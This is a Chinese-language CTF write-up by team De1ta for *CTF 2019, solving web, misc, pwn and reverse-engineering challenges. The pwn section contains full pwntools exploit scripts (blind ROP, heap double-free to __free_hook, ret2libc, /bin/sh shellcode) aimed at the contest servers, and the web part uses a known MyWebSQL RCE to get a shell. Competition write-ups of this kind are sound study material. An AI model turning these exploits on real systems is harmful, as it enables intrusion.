\*CTF 2019 Writeup

De1ta-Team

Team:De1ta

Web

mywebsql

admin admin登录
利用 MyWebSQL ver 3.7 RCE getshell
https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md

/目录下有个readflag,需要做先做一个计算才能getflag
服务端没python,但有perl

perl脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env perl 
use warnings;
use strict;
use IPC::Open2;

$| = 1;
chdir "/"; #!!!!!!!!!!!!!!!!!!!!!!!!!!

my $pid = open2(\*out2, \*in2, '/readflag') or die;

my $reply = <out2>;
print STDOUT $reply; #string: solve captcha..
$reply = <out2>;
print STDOUT $reply; #captcha formula

my $answer = eval($reply);
print STDOUT "answer: $answer\n";

print in2 " $answer "; #send it to process
in2->flush();

$reply = <out2>;
print STDOUT $reply; #flag :D
$reply = <out2>;
print STDOUT $reply; #flag :D

Misc

she

根据提示,杀死左小角小屋内的鸡拿flag。

先跟右下角的女生对话后会不能存档。

存个档,进右上角小屋杀只怪,升一级的点前后再存档,比较两个存档的不同。

再存档内可以看到gold,exp,level等后面的数值不一样。稍微修改一下,发现存数据的规律:

0x69表示类型位整型,下一个字符表示用到多少字节存数据,只用1字节的时候不要,最多四字节,因此所有数据都是5开始的。我们把金钱,经验值调大,进游戏一刀满级,然后去左上角的商店买装备。

然而还是打不过,想了想鸡的攻防可能超过我们已有的最高攻防了。

这是可以改游戏文件,把鸡的攻防调为最低。

在data文件夹内有个叫enemies的文件,在里面可以看到大概是两个敌人,一个叫Julia,就是那只鸡,一个叫Trainer训练假人。

稍微摸索一下数据,看到几个比较关键的比如def,atk等,或者直接干脆把所有的都改成05 或者06。

再去打鸡,可以一刀秒了。

接下来还不能直接拿flag,根据提示,打开所有的门中的宝箱。有些门不能直接开,开完后面的门才能开。基本这里就是比走位躲幽灵的时间了。

所有门开完后最后的多了个门,里面提示把之前宝箱内的数字连起来md5即是flag。

数字要按顺序从左到右

213697

*ctf{d6f3fdffbcb462607878af65d059f274}

babyflash

打开看到黑白黑白的,用工具打开,有图片、有声音

flash总共441帧,21*21?联想到二维码
导出所有图片,用脚本拼成二维码,如下图,扫出来只有一半flag

刚刚还有声音,导出来看看有什么
用audacity看频谱图,就有了剩下另一半

*ctf{half_flag_&&_the_rest}

otaku

附件里的文档,提到的内容与https://www.imdb.com/title/tt7225072/有关
应该与解密压缩包的key有关,一部日本的一部动漫
英文名:Violet Evergarden
日文名:ヴァイオレット·エヴァーガーデン

otaku是宅男的意思。

原文
https://www.imdb.com/title/tt7225072/plotsummary?ref_=tt_ov_pl

比对word

这里少了I love you
但是输入密码不对。。。。

word还有个Memory 但是原文是Memoir ,但是应该无关
重点在文档中这句话

复制出来竟然是这个:

Violet then remembers that “I love you Hello everyone, I am Gilbert. Everyone thought that I was killed, but actually I survived. Now that I have no cash with me and I’m trapped in another country. I can’t contact Violet now. She must be desperate to see me and I don’t want her to cry for me. I need to pay 300 for the train, and 88 for the meal. Cash or battlenet point are both accepted. I don’t play the Hearthstone, and I don’t even know what is Rastakhan’s Rumble.” were the last words Gilbert I-the-almighty-quiz-maker had told her.

输入别的密码会提示密码错误,输入Hearthstone会提示文件损坏。。。
原始压缩包用rar修复一下,可以提取flag.zip,里面有flag.png和last words.txt

把这段话GBK编码后加密的word,txt字节相同,是已知明文攻击
Hello everyone, I am Gilbert. Everyone thought that I was killed, but actually I survived. Now that I have no cash with me and I’m trapped in another country. I can’t contact Violet now. She must be desperate to see me and I don’t want her to cry for me. I need to pay 300 for the train, and 88 for the meal. Cash or battlenet point are both accepted. I don’t play the Hearthstone, and I don’t even know what is Rastakhan’s Rumble.

明文攻击成功,那道flag.png
lsb隐写用zsteg一把梭

*ctf{[email protected]}

##Pwn

blind pwn

Step1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#/usr/bin
#coding=utf-8
from pwn import *

i = 1
len = 0
while 1:
try:
sh = remote('34.92.37.22', 10000)
sh.recvuntil('Welcome to this blind pwn!\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('Goodbye!'):
len = i - 1
break
else:
i += 1
except EOFError:
sh.close()
print "EOF error!"
len = i - 1
break

print len

stack length: 40

-———

可以试下 ‘a’*0x28+’\n’ 会在goodbye后还输出一堆东西,不过看了下,好像没什么地址之类的
Step2:

找到一个stop gadget:
0x400776,貌似是main函数,反正又会输出一遍

找到一个stop gadget:
0x400515 输出

1
2
3
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x15\[email protected]\x00\x00\x00\x00\x00
\x12\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \[email protected]\x00\x00\x00\x00\x000\x8b\x0c\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x0\x12\x7f\x00\x00\xa0\xbc+\x8c\x00\x00\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa3Y\x9cF\x1cFn\x7fp\[email protected]\x00\x00\x00\x00\x00\x00\x12\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa3Y\xbcjZa\x91\x80\xa3Y\x0cQw\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x12\x7f\x00\x00h+\x8c\x0c\x7f\x00\x00g
\x8c\x0c\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\[email protected]\x00\x00\x00\x00\x00\x00\x12\x7f\x00\x00

get stop gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#/usr/bin
#coding=utf-8
from pwn import *

addr = 0x400000
while 1:
try:
sh = remote('34.92.37.22', 10000)
sh.recvuntil('Welcome to this blind pwn!\n')
payload = 'a' * 40 + p64(addr)
sh.sendline(payload)
content = sh.recv()
print content
sh.close()
print 'one success stop gadget addr: 0x%x' % (addr)
break
except Exception:
addr += 1
sh.close()

测试了下,好像只能溢出8个字节,跳到0x400515 就跳不回main函数了

感觉是它有调用sleep

main函数地址错了,真正的是0x400570

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

debug=0

context.log_level='debug'

if debug:
p=process('')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('34.92.37.22', 10000)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

ru('Welcome to this blind pwn!\n')
#0x400755
#0x40072f
se('a'*0x28+p64(0x400515)+p64(0x400570)*2)
ru('a'*0x28)
data = p.recv(0x100)
libc = u64(data[0x20:0x28])
base = libc - 0x020830

ru('Welcome to this blind pwn!\n')
se('a'*0x28+p64(base+0x4526a)+'\x00'*0x40)
print(hex(base))

p.interactive()

*CTF{Qri2H5GjeaO1E9Jg6dmwcUvSLX8RxpI7}

girlfriend

调了一个小时,最后发现是网络问题...网络差评

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python

from pwn import *
context.log_level="debug"
#p=process(["./lib/ld-2.29.so","./chall"],env={"LD_PRELOAD":"./lib/libc.so.6"})
libc=ELF("./lib/libc.so.6")

#p=process("./chall")
#gdb.attach(p)
p=remote("34.92.96.238",10001)
def add(size,name,call):
p.recvuntil("Input your choice:")
p.sendline("1")
p.recvuntil("Please input the size of girl's name")
p.sendline(str(size))
p.recvuntil("please inpute her name:")
p.send(name)
p.recvuntil("please input her call:")
p.send(call)

def show(index):
p.recvuntil("Input your choice:")
p.sendline("2")
p.recvuntil("Please input the index:")
p.sendline(str(index))

def call(index):
p.recvuntil("Input your choice:")
p.sendline("4")
p.recvuntil("Please input the index:")
p.sendline(str(index))
add(0x500,"po\n","999\n") #0
add(0x50,"po\n","999\n") #1
add(0x50,"po\n","999\n") #2
call(0)
show(0)
p.recvuntil("name:\n")
libc_base=u64(p.recv(6)+"\x00\x00")-0x3b1ca0
print hex(libc_base)
call(1)
call(2)
show(2)

p.recvuntil("name:\n")
heap_base=u64(p.recv(6)+"\x00\x00")-0x7b0
print hex(heap_base)

for i in range(7):
add(0x60,"p\n","9\n") #3

add(0x60,"p\n","9\n") #10
add(0x60,"p\n","9\n") #11
add(0x60,"p\n","9\n") #12

for i in range(7):
call(3+i)

call(10)
call(11)
call(10)

for i in range(7):
add(0x60,"p\n","9\n") #

free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols["system"]

add(0x60,p64(free_hook),"999\n")
one_gadget=libc_base+0xdf991
'''
0xdf991 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
'''

add(0x60,"p\n","9\n")
add(0x60,"/bin/sh\x00\n","9\n")
add(0x60,p64(system)+"\n","9\n")
add(0x60,"/bin/sh\x00","9\n") #0x18
add(0x60,"/bin/sh\x00","9\n")
add(0x60,"/bin/sh\x00","9\n")
add(0x60,"/bin/sh\x00","9\n")
add(0x60,"/bin/sh\x00","9\n")
add(0x60,"/bin/sh\x00","9\n")
print "???"
call(0x1a)
p.interactive()

*CTF{pqyPl2seQzkX3r0YntKfOMF4i8agb56D}

quicksort

覆盖ptr达到任意地址写,写的时候注意栈分布,修改atoi进行rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
fpath = "./quicksort"
offset = 28
debug = 1
times = 2
context.log_level = 'debug'
e = ELF("./libc.so.6")
if debug is 0:
r = process(fpath)
gdb.attach(p)#"b *0x8048916")
else:
r = remote("34.92.96.238",10000)
r.recvuntil("how many numbers do you want to sort?\n")
r.sendline(str(times))

r.recvuntil("th number:")p

payload = "134515285" + "a" * 7 + p32(0x8048a53 + 3) + p32(0x8048a53) + p32(0x8048a53 + 3) + p32(0x804A020 - 0x8048a53 * 4 + 0x100000000)
r.sendline(payload)
puts_plt = 0x8048560
puts_got = 0x804A02C
gets_plt = 0x08048500
r.recvuntil("th number:")
#leak -> gets ->shell
payload = "13451529" + p32(0x8048530) + p32(0x01010101) + p32(0x8048a53 + 3) + p32(0x8048a53) + p32(0x8048a53 + 3) + p32(0x804A038 - 0x8048a53 * 4 + 0x100000000) + p32(0x01010101) + p32(0x8048a5a)
payload += p32(puts_plt) + p32(0x8048a5a) + p32(puts_got) + p32(0x01010101)
payload += p32(gets_plt) + p32(0x8048a5a) + p32(0x804A034) + p32(0x804A034)
payload += p32(0x8048580) + p32(0x8048a5a) + p32(0x804A038)
r.sendline(payload)

r.recvuntil("th number:")
r.sendline()

libc = u32(r.recv()[:4]) - 0x5fca0

r.sendline(p32(libc + e.symbols["system"]) + "/bin/sh\x00")

r.interactive()

babyshell

这道题迷之简单,简单绕一下判断就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

debug=0

context.log_level='debug'

if debug:
p=process('./shellcode')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('34.92.37.22', 10002)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

ru('give me shellcode, plz:\n')
context.arch='amd64'
se('s\x00'+asm(shellcraft.sh()))
p.interactive()

*CTF{LtMh5VbedHlngmKOS2cwWRo4AkDGzCBy}

upxofnote

upx解压后,heap段是可执行的,因此可以用来写shellcode get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

debug=0

context.log_level='debug'

if debug:
p=process('./upxofcpp')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('34.92.121.149', 10000)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def add(idx,sz,content):
sl('1')
ru('Index')
sl(str(idx))
ru('Size:')
sl(str(sz))
ru('-1 to stop:')
for i in range(0,len(content),4):
n = u32(content[i:i+4])
if n>=0x80000000:
n = 0x100000000 - n
n = -n
sl(str(n))
if len(content)/4 < sz:
sl('-1')
ru('choice:')


def remove(idx):
sl('2')
ru('index:')
sl(str(idx))
ru('choice:')

def show(idx):
sl('4')
ru('index:')
sl(str(idx))

context.arch='amd64'
sz = 0x68
add(0,sz/4,p32(0x000020eb)*0x18+p32(0x3eeb3eeb)*2)
add(1,sz/4,'a'*0x10+asm(shellcraft.sh()).ljust(0x40,'\x90'))
add(2,sz/4,'')
add(3,sz/4,'')

remove(1)
remove(2)
remove(3)

show(3)

p.interactive()

RE

fanoGO

香农-范诺编码,decode之后要为

1
If you cannot read all your books...fondle them---peer into them, let them fall open where they will, read from the first sentence that arrests the eye, set them back on the shelves with your own hands, arrange them on your own plan so that you at least know where they are. Let them be your friends; let them, at any rate, be your acquaintances.

编码表根据一个txt生成,具体细节不清楚,直接在程序中找字典。

另外程序里存字典的方式很奇特,用一个结构体表示。

fano___Fano__Decode是解码函数。一阵瞎调,最后在000000000045C618下断,rbx指向的就是解码字典的结构体,结构如下

1
2
3
4
5
6
7
00000000 dict struc ; (sizeof=0x30, mappedto_759)
00000000 byte dq ? ; offset point to decoded byte
00000008 unknown0 dq ?
00000010 code dq ? ; offset the encoded code
00000018 lenth dq ? ; char * encoded lenth
00000020 unknown1 dq ?
00000028 unknown2 dq ?

编码结果是从code指向的字符串开始的lenth位,我这里是手动复制出来在用文本处理得到字典的。。。
字典:

1
dic ={' ':'0001', '-':'00100100', ',':'0010001', '.':'00100101', ';':'001001111', 'I':'00101011', 'L':'00101100001', 'a':'0011', 'c':'010001', 'b':'010000', 'e':'0101', 'd':'01001', 'g':'01101', 'f':'01100', 'i':'1000', 'h':'0111', 'k':'1001001', 'm':'10011', 'l':'100101', 'o':'10110', 'n':'1010', 'q':'11000', 'p':'10111', 's':'1101', 'r':'11001', 'u':'111100', 't':'1110', 'w':'1111100', 'v':'111101', 'y':'1111110'}

注意到大于0x7f还有一些编码以及最终结束一般不会刚好凑齐8bit,猜测后面这些都是用来表示编码结束的。
之前的一段文字按字典编码后还剩4bit满一个字节,就找一个12bit的用来表示结束的编码
结束编码:111111100010
直接解码的时候所有不可见字符都被替换成了0xFD,就会出错
比如一开始的几个字符If you,编码后是:
00101011011000001111111010110111100
8bit一组:
00101011 0x2B
01100000 0x60
11111110 0xFE
10110111 0xB7
100……

前两个字节都能够照常解码,到了第三个字符第四个被莫名替换位0xFD了。
动调跟入解码过程,仔细看看过程。

fano_Bytes2Str函数的作用是字节转二进制字符串,在里面发现一个go的库函数runtime_stringiter2很可疑,进去的时候是0xFE,出来就变成0xFD了,跟进几步,发现他先校验当前字符是不是大于0x80,然后再根据后一位和后两位的数据修改,不满足某种规则会直接返回0xfffd,即变成0xfd。到这里就猜出有可能是utf8的编码问题。utf8是一种可变长的编码方式。

wiki上可以看到unicode转utf-8的规则

  • Octal 0–177 (hex 0–7F) is coded with an unchanged single byte.
  • Octal 0200–3777 (hex 80–7FF) shall be coded with two bytes. xxyy will be 3xx 2yy.

注意这里的八进制添加的3和2是按照每8bit结果看的,举个例子

FD将会变为 C3BD

11111101
375

补0

000 1111 1101
03 75

添加3和2,03 75变成303 275,如果直接把这个数转成2进制是不对的,因为303和275是独立的两部分,每个单独地转成8bit二进制数11000011和10111101

11000011 10111101
303 275

结果

C3 BD
1100001110111101
141675

也可以按百度百科的方法,补3个0然后填入110X XXXX 10XX XXXX中。
比赛时我是手动写了一个unicode到utf8的转换。赛后发现可以直接用unichr和encode转。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level = 'error'
p = remote('34.92.37.22','10001')
dic ={' ':'0001', '-':'00100100', ',':'0010001', '.':'00100101', ';':'001001111', 'I':'00101011', 'L':'00101100001', 'a':'0011', 'c':'010001', 'b':'010000', 'e':'0101', 'd':'01001', 'g':'01101', 'f':'01100', 'i':'1000', 'h':'0111', 'k':'1001001', 'm':'10011', 'l':'100101', 'o':'10110', 'n':'1010', 'q':'11000', 'p':'10111', 's':'1101', 'r':'11001', 'u':'111100', 't':'1110', 'w':'1111100', 'v':'111101', 'y':'1111110'}
plain = 'If you cannot read all your books...fondle them---peer into them, let them fall open where they will, read from the first sentence that arrests the eye, set them back on the shelves with your own hands, arrange them on your own plan so that you at least know where they are. Let them be your friends; let them, at any rate, be your acquaintances.'

cipher = ''
for i in range(len(plain)):
cipher+=dic[plain[i]]
s = ''
cipher+='111111100010'
# print(cipher)
'''
# my unicode to utf8
for i in range(0,len(cipher),8):
temp = eval('0b'+cipher[i:i+8])
if temp>=0x80:
res = '000'+bin(temp)[2:]
res = '110'+res[0:5]+'10'+res[5:]
a = res[0:8]
b = res[8:]
s+=chr(eval('0b'+a))
s+=chr(eval('0b'+b))
else:
s+=chr(temp)
'''
for i in range(0,len(cipher),8):
temp = eval('0b'+cipher[i:i+8])
s+=unichr(temp)
s = s.encode('utf8')
# p = process('fanoGo')
p.recvuntil(':\n')
p.send(s)
try:
print(p.recv())
except EOFError:
p.close()

*CTF{NUY4a3E5D9186hVzejoyItr7xHBcmOpv}

yy

Ch4r1l3师傅先做了一部分,看了下文档继续往后做的。

看了下程序的逻辑,大概是
利用yacc进行词法解析,解析到的东西存到buffer
然后buffer再用encrypt这个函数进行加密,最后加密的结果与cmp进行比较
encrypt是用aes加密
测试了下,大概规则为 *CTF{xxxx},中间的xxx范围大概为0-9,a-z
然后大概解了下逻辑,那个switch里面那堆从上到下就是a-z 0-9
encrypt是用标准aes加密,用的密钥是提前生成好了,在bss段key开始的176个字节
很迷的就是,它比较是0xa0个字节…….但是很明显flag没那么长
感觉encrypt这个函数应该会被调用多次,但是实际调试的时候只调了一次?
encrypt使用了一个全局变量cnt,用来记录加密了的长度

顺着Ch4r1l3师傅的思路,我看了一下词法解析的过程。

在词法分析器yylex中,找到了一个叫yy_ec的table,大小256,每个元素对应一个字节,除了测试过程中输入有效的字符*CTF{}0-9a-z外,大部分都为1,仔细看了一下发现漏了个下划线不为1。调试了一下发现,输入下划线后会对下一部分重新aes加密。做题过程中发现了每次加密都会异或之前一次的加密结果,其实这就是cbc加密模式。之前一直没了解过,所以是手动写的这个异或过程= =

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Cipher import AES

def strxor(s1,s2):
s = ''
for i in range(len(s1)):
s+=chr(ord(s1[i])^ord(s2[i]))
return s

key = '2B7E151628AED2A6ABF7158809CF4F3C'.decode('hex')
aes = AES.new(key)
cipher = ['AE4614F82A40CF5031D3FE048C061212'.decode('hex'),
'23FAC726E861D9C3A93C45701AC7F03D'.decode('hex'),
'DFBEBC16AB6E37AC148B9C94F75D6278'.decode('hex'),
'FC16981DB231D35ADC3A60869ACA7BA3'.decode('hex'),
'B5D5F1B2D9FFD209D477D73DC0561902'.decode('hex'),
'B69B426CE8A277E399AC324091A92A86'.decode('hex'),
'F3FA473CC35C419BE80507D0D4305A9E'.decode('hex'),
'8D529BA3FBADB6443F72839C2277FE48'.decode('hex'),
'FE868412004EEDFFAC441923841F12CA'.decode('hex')]
dic = {'\x82':'a', '\x05':'b', '\x86':'c', '\x8A':'d', '\x0B':'e', '\x11':'f', '\x96':'g', '\x1D':'h', '\x27':'i', '\xA9':'j', '\x2B':'k', '\xB1':'l', '\xF3':'m', '\x5E':'n', '\x37':'o', '\x38':'p', '\xC2':'q', '\x47':'r', '\x4E':'s', '\x4F':'t', '\xD6':'u', '\x58':'v', '\xDE':'w', '\xE2':'x', '\xE5':'y', '\xE6':'z', '\x67':'0', '\x6B':'1', '\xEC':'2', '\xED':'3', '\x6F':'4', '\xF2':'5', '\x73':'6', '\xF5':'7', '\x77':'8', '\x7F': '9'}
flag = ''
xor = '00'*16
xor = xor.decode('hex')
for i in range(len(cipher)):
temp = cipher[i]
plain = aes.decrypt(temp)
plainp = strxor(plain,xor)
xor = cipher[i]
for j in plainp:
try:
flag+=dic[j]
except KeyError:
flag+='_'
break
flag = '*CTF{'+flag[:-1]+'}'
print(flag)

得到*CTF{yy_funct10nl_1s_h4rd_andc_n0_n33d_to_r3v3rs3}

然而提交不对,本地输入flag后返回congratulations。分析一下flag的语义,funct10n后面多了个l,and后面多了个c,去掉之后再提交就对了

原因:加密时每次用append:6124258631AB6EAFB114FE76783D1EFF填充明文,然后用输入映射的字节依次填充。append的字节在box里刚好有,比如B1对应字符l,86对应字符c,刚好跟我们求得一样。如果对应位置刚好是那个字符就会造成重复而多解。

最终flag:

*CTF{yy_funct10n_1s_h4rd_and_n0_n33d_to_r3v3rs3}

Obfuscating Macros II

ddctf Obfuscating Macros的升级版,强化了算法。由于之前打ddctf的时候稍微分析了一下,比较上手一点。

混淆还是去不掉,只能硬调
首先随便输入个长度16的字符串,加密在sub_401006里。输入的16个字节分成了两个__int64,作为参数传进函数,幅值给v6 v7,推荐的做法是查找v6和v7的引用,在所有引用的地方下断,sub_4045F2sub_4043C0的引用不下断点。同时分析一下发现,v8是计算过程中的中间变量,也查找引用并下断点。

同时,根据打ddctf的经验,形如sub rax, 4的指令比较关键,控制了程序执行的流程。在函数内发现了两处这种可疑的语句,对应的反汇编分别是

1
2
if ( v7 & 1 )
v14 -= 4LL;

1
2
if ( v16 <= 0x3FF )
v15 -= 3LL;

查找一下v16的引用,都下好断点。

这里其实不难猜出这是个循环,有赋初值0,有增量v16++,也有判定v16<=0x3FF。

这两处调试的时候应该重点关照一下。

下好断点,开调,注意时刻观察栈上v6和v7的变化情况。

由于加密是分两部分加密的,所以我们干脆两部分都输入为同一字符,这里输入了11111111aaaaaaaa

v6 = ‘aaaaaaaa’,v7 = ‘11111111’

果然首先来到v16 = 0,然后是判定v16<=0x3ff,接下来只要再回到这里就是一个循环了。

然后是v8 = ~v7

接下来来到了if(v7&1),这里为真,接下来边来到v8^=*v5,观看一下v8和v5的内容,发现v8变成了v6,v5指向v7,再下来其实是v6 = v8,然后是v7 = ~v7。接下来的执行流程不难看出是把整个128位的数循环左移了一位。从栈上的结果不难看出,这里的循环左移是按照v6在高位,v7在低位。

之后也没什么分支了,都是一条线直到循环结束。

整个循环内有分支的只有最开始的(v7&1),由于我们输入的最低位是1,这回输入个最低位位0的试试,我们输入00000000aaaaaaaa

与之前不同的,判定完(v7&1)的结果位0后,v8^=*v5这里,v8还是v6,而v5变成了指向~v7,再往后都一样了。

不难写出加密算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def rol(a,b):
tmp1 = (a&0x8000000000000000)//0x8000000000000000
tmp2 = (b&0x8000000000000000)//0x8000000000000000
a = a << 1
b = b << 1
a |= tmp2
b |= tmp1
a&=0xffffffffffffffff
b&=0xffffffffffffffff
return a,b

a = 0x6161616161616161
b = 0x3030303030303030
for i in range(0x400):
if b&1:
a^=b
else:
a^=(~b)
b = ~b
a &= 0xffffffffffffffff
b &= 0xffffffffffffffff
a,b = rol(a,b)
tmp = a
a = a+b
b = tmp
a,b = rol(a,b)
print(hex(a))
print(hex(b))

解密算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def ror(a,b):
tmp1 = (a&1)*0x8000000000000000
tmp2 = (b&1)*0x8000000000000000
a = a >> 1
b = b >> 1
a |= tmp2
b |= tmp1
a&=0xffffffffffffffff
b&=0xffffffffffffffff
return a,b

a = 0x50A2DCC51ED6C4A2
b = 0xA1E8895EB916B732
for i in range(0x400):
a, b = ror(a, b)
tmp = b
b = (a - b) & 0xffffffffffffffff
a = tmp
a, b = ror(a, b)
if b&1:
a^=b
else:
a^=(~b)
b = ~b
a&=0xffffffffffffffff
b&=0xffffffffffffffff
flag = ''
for i in range(8):
tmp = b&0xff
b>>=8
flag+=chr(tmp)
for i in range(8):
tmp = a&0xff
a>>=8
flag+=chr(tmp)
print(flag)

*CTF{[email protected]}

对于去混淆,我自身angr还是没有研究透彻,我就不班门弄斧了,期待一个大佬讲解

matrix

看了下有很多冗余代码和花指令,然而没写过去除冗余代码的脚本,花指令倒是写了个脚本去除:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
bg = 0x000027A0
end = 0x00010B80
main_return = 0x00005C10
addr = bg
print('start at %08x'%addr)
def patch_nop(begin,end):
while(end>begin):
PatchByte(begin,0x90)
begin=begin+1
def next_instr(addr):
return addr+ItemSize(addr)
while(addr<end):
next_addr =next_instr(addr)
MakeCode(next_addr)
addr = next_instr(addr)
MakeCode(addr)
if 'jmp $+5' in GetDisasm(addr):
print('ret :%08x'%addr)
patch_nop(addr,addr+5)
PatchByte(addr + 6,0xC3)
patch_nop(addr + 7, addr + 9)
addr = addr + 9
if 'xor' in GetDisasm(addr) and GetOpnd(addr,0) == GetOpnd(addr,1) and 'jnz' in GetDisasm(addr + 2):
patch_nop(addr, addr + 4)
print('xor jmp: %08x'%addr)
patch_nop(addr, addr + 4)
addr = addr + 4

if 'call $+5' in GetDisasm(addr):
print('nop: %08x'%addr)
patch_nop(addr,addr+0xB)
PatchByte(addr + 0xA, 0xE8)
addr = addr + 0xF
print('end')

然而去掉之后仍然不能f5,于是开始对着汇编撸。。。

程序流程

由于过程中有大量冗余代码,经常会干扰我们调试,所以要胆大心细,大胆的跳过一些无用的代码,找到真正有用的代码。

由于是动调的地址,我这里的基地址是0x56555000,可以根据这个偏移换算到0的地址。。。

首先能看到一些这样的跳转代码:

1
2
3
.text:56559FA3 cmp     ecx, eax
.text:56559FA5 jge loc_5655A2A0
.text:56559FAB jmp loc_5655A013

不难看出这是个循环。

输入后进入了第一个循环体,设内存断点跟一跟,或者直接断到跳出循环,可以发现它将输入的字符串转了hex。

之后在5655A3A0调用了函数565589C7,看一下栈内,参数就是转完hex的内容。

跟进函数,先看到一个循环,大小为字节的长度,继续跟进不难发现很多如下的代码:

1
2
.text:56558BCF cmp     ecx, eax
.text:56558BD1 jnz loc_56558C2A


1
2
.text:56558C79 cmp     ecx, eax
.text:56558C7B jnz loc_56558CB5

这应该是个case或者是if elif elif …

对比的是我们的输入和另外18个字节,提取出来,他们是:

10 15 11 14 12 13
20 25 21 24 22 23
30 35 31 34 32 33

如果相等的话,每个又会进入一个对应的函数,之后继续循环,如果不在这些字节之内,会直接返回。
先不管这18个函数干了什么,直接步过到返回。
紧跟着在5655A3D0调用了函数56559638,步入看看做了什么。
这里的循环跟之前的有些许不同:

1
2
3
4
5
6
.text:565596B0 cmp     eax, ecx
.text:565596B2 jge loc_56559E3D
.text:565596B8 mov eax, [ebp-4]
.text:565596BB test eax, eax
.text:565596BD jz loc_56559E3D
.text:565596C3 jmp loc_56559727

循环大小固定为6,每一轮结束后会test ebp-4的值,可以看到,初始为1,如果为0,会直接返回。可以看到最终的返回值是ebp-4,也就是说一旦ebp-4为0,就会返回0,循环完毕后它本身可能不变,也就是可能返回1。
看到这里有一些猜想了,这个循环可能是个check,每个循环是个单独的check,通过所有的check才会返回1,应该就拿到flag了,若返回0,可能就gg。
回到main函数验证一下。来到地址5655A3D0,稍微往下几行,看到了

1
2
.text:5655A409 test    eax, eax
.text:5655A40B jz loc_5655ABB9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:5655ABB9 loc_5655ABB9:                           ; CODE XREF: .text:5655A40B↑j
.text:5655ABB9 mov eax, offset aTryAgain ; "Try again!"
.text:5655ABBE push eax
.text:5655ABBF nop
.text:5655ABC0 nop
.text:5655ABC1 nop
.text:5655ABC2 nop
.text:5655ABC3 nop
.text:5655ABC4 nop
.text:5655ABC5 nop
.text:5655ABC6 nop
.text:5655ABC7 nop
.text:5655ABC8 nop
.text:5655ABC9 call near ptr _IO_puts

果然如猜想一般,如果返回0就Try again!了。
如果返回1会怎样,继续往下看,又是一个循环,直接到循环结束的地方,loc_5655AB90,可以看到这里输出了flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:5655AB90 loc_5655AB90:                           ; CODE XREF: .text:5655A55A↑j
.text:5655AB90 lea eax, [ebp-180h]
.text:5655AB96 push eax
.text:5655AB97 mov eax, offset aHereIsYourFlag ; "Here is your flag: %s\n"
.text:5655AB9C push eax
.text:5655AB9D nop
.text:5655AB9E nop
.text:5655AB9F nop
.text:5655ABA0 nop
.text:5655ABA1 nop
.text:5655ABA2 nop
.text:5655ABA3 nop
.text:5655ABA4 nop
.text:5655ABA5 nop
.text:5655ABA6 nop
.text:5655ABA7 call near ptr _IO_printf

我们试一试直接修改check的返回值为1,然后f9。
当然不会输出正确的flag,而是输出了一串乱码。

1
2
Input your key:31313131
Here is your flag: o�#k����,��19�\���К?�q

总结一下程序流程:

  1. 输入若干个十六进制数,在10 15 11 14 12 13 20 25 21 24 22 23 30 35 31 34 32 33 之内。
  2. 根据输入,进行了一些“操作”
  3. check结果
